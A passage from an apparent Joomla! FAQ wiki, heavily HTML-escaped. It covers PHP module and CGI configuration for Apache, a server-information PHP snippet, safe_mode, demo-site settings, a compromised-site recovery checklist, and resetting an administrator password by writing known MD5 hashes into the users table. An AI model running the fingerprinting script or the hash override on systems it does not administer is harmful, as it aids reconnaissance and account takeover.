can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]&lt;br /&gt;
&lt;br /&gt;
[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
